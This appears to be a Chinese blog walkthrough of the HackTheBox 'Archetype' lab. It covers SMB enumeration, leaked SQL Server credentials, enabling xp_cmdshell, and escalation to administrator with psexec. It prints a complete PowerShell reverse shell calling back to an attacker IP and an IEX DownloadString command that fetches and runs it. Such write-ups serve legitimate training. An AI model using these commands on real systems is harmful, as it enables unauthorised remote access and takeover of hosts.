文章目录

  • 信息收集
    • 扫描
  • 使用数据库调用系统命令
  • 获取操作系统普通用户权限

信息收集

扫描

根据网站的提示,我们连上vpn的目标机的ip是10.10.10.27

nmap -sC -sV 10.10.10.27

-sC:使用默认脚本进行扫描,等同于–script=default
-sV:探测开启的端口来获取服务、版本信息

可以发现,目标开启了135、139、445、1433端口,其中1433是SQL Server数据库默认使用的端口,445是文件共享协议(SMB)默认使用的端口

测试445端口

测试445端口的SMB服务是否支持匿名访问,没有经过权限配置可能默认允许所有人无需身份认证来匿名访问共享资源,使用smbclient来访问samba服务器的共享资源:

smbclient -N -L //10.10.10.27/

-N:匿名登录
-L:获取共享资源列表

在共享资源列表内,发现存在一个backups目录,再次使用smbclient访问它:

smbclient -N //10.10.10.27/backups

使用dir命令列出backups文件夹下的文件,发现存在一个prod.dtsConfig文件,它是与SSIS一起使用的配置文件,使用get命令下载到主机上,使用cat命令查看一下文件内容 smbclient命令参数及用法详解


参考文章
工具的使用 | Impacket的使用
Impacket网络协议工具包介绍
下载并安装impacket工具

进入目录然后

我们这里先来看看mssqlclient.py 的参数列表

然后直接根据前面泄露的id和password登入

判断当前是否拥有sysadmin权限:

SELECT IS_SRVROLEMEMBER('sysadmin')


返回值是1,代表true,说明当前用户具有sysadmin权限,能够在靶机上使用SQL Server的xp_cmdshell来进行远程代码执行

使用数据库调用系统命令

以此写入

 EXEC sp_configure 'Show Advanced Options', 1;         \\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项reconfigure;                                            \\确认上面的操作sp_configure;                                          \\查看当前sp_configure配置情况EXEC sp_configure 'xp_cmdshell', 1                      \\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令reconfigure;                                           \\确认上面的操作xp_cmdshell "whoami"                                     \\在靶机上调用cmdshell执行whoami

执行结束后,SQL会返回当前数据库进程的操作系统用户为archetype\sql_svc

获取操作系统普通用户权限

前,我们拥有了数据库的shell,也可以使用部分操作系统的命令,但是需要一个直接的操作系统shell来进行后续的操作
在桌面建立一个powershell的反向shell文件shell.ps1(注意修改其中的ip地址为接收shell的kali主机的地址),代码如下:

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.206",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()


注意这个文件格式是ps1,这个是一个powershell格式的文件。

接下来,在kali中使用python搭建一个迷你http服务器,监听80端口来供靶机下载shell.ps1文件(注意不要切换目录,以防找不到文件):

python3 -m http.server 80


kali开启监听

nc -lvvp 443


接下来,回到数据库shell中,执行命令:

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.206/shell.ps1\");"

显示这个就说说明成功了

在netcat中执行如下命令即可拿到需要提交的flag:

type C:\Users\sql_svc\Desktop\user.txt

可以发现sql_svc同时是操作系统普通用户、数据库和数据库服务用户,值得去检查频繁访问的文件或已执行的命令,使用如下命令来访问PowerShell历史记录文件:

发现administrator用户登录后将共享文件夹\Archetype\backups映射到T盘,后面是administrator用户名和它的密码,可以使用Impacket中的psexec.py来提权:

psexec.py administrator@10.10.10.27

输入密码后刚才获取的密码即可提权成功

执行如下命令可获取管理员的flag

type C:\Users\Administrator\Desktop\root.txt

hackthebox_Archetype相关推荐

最新文章

  1. VC++ 单文档项目显示打开的文件
  2. LeetCode--171--Excel表列序号
  3. 【开200数组解决二叉搜索树的建立、遍历】PAT-L3-016. 二叉搜索树的结构——不用链表来搞定二叉搜索树...
  4. 年总结(五):再次突破自我的半年(2016.3—2016.9)
  5. Android签名概述
  6. Ctrl+Shift+F 输入法变成繁体 输入法简体繁体切换
  7. 湖北文理学院毕业论文(设计)任务书
  8. /*模拟一个简单的购房商贷月供计算器,按照以下公式计算总利息和每个月还款金额: 总利息=贷款金额*利率; 每月还款金额=(贷款金额+总利息)/贷款年限
  9. 看华为心声社区的几篇总裁办电子邮件有感
  10. Python期末考试-中心点问题
  11. 系统测试和验收测试的区别
  12. 今日,华为重磅发布6大创新产品及服务!
  13. OBS,vMIX,Wirecast,TCliveSP直播串流导播软件区别及比较
  14. 一睹64位Windows XP的芳容(也是从网上copy的,扫了一下,没有仔细看)
  15. linux黑屏无法唤醒,解决笔记本CentOS7合盖后黑屏无法唤醒
  16. python 算法测试结果自动保存到excel表格
  17. Inventor 2020 安装教程
  18. 咫尺天涯   三世桃花
  19. 高球嘉年华:2021高博会非去不可的六个理由
  20. 参考文献会影响论文重复率吗?

热门文章

  1. ajax调用fastreport,使用Ajax更新ASP.Net MVC项目中的报表对象
  2. 2021年亚马逊新手如何快速搭建店铺listing?五分钟让快速精通
  3. 使用java Apache poi 根据word模板生成word报表
  4. Natural language Processing in tensorflow quizs on Coursera
  5. android弹窗使用总结,高仿QQ空间操作弹窗
  6. 计算机剪切功能是哪个组合键,剪切快捷键是哪个 电脑剪切快捷键大全
  7. [洛谷] P2357 守墓人
  8. https协议能否让网站,优先被百度收录,个人观点
  9. 如何申请接入微信APP支付文章
  10. 逆水寒服务器维护,逆水寒11月29日更新到几点进游戏 逆水寒更新维护公告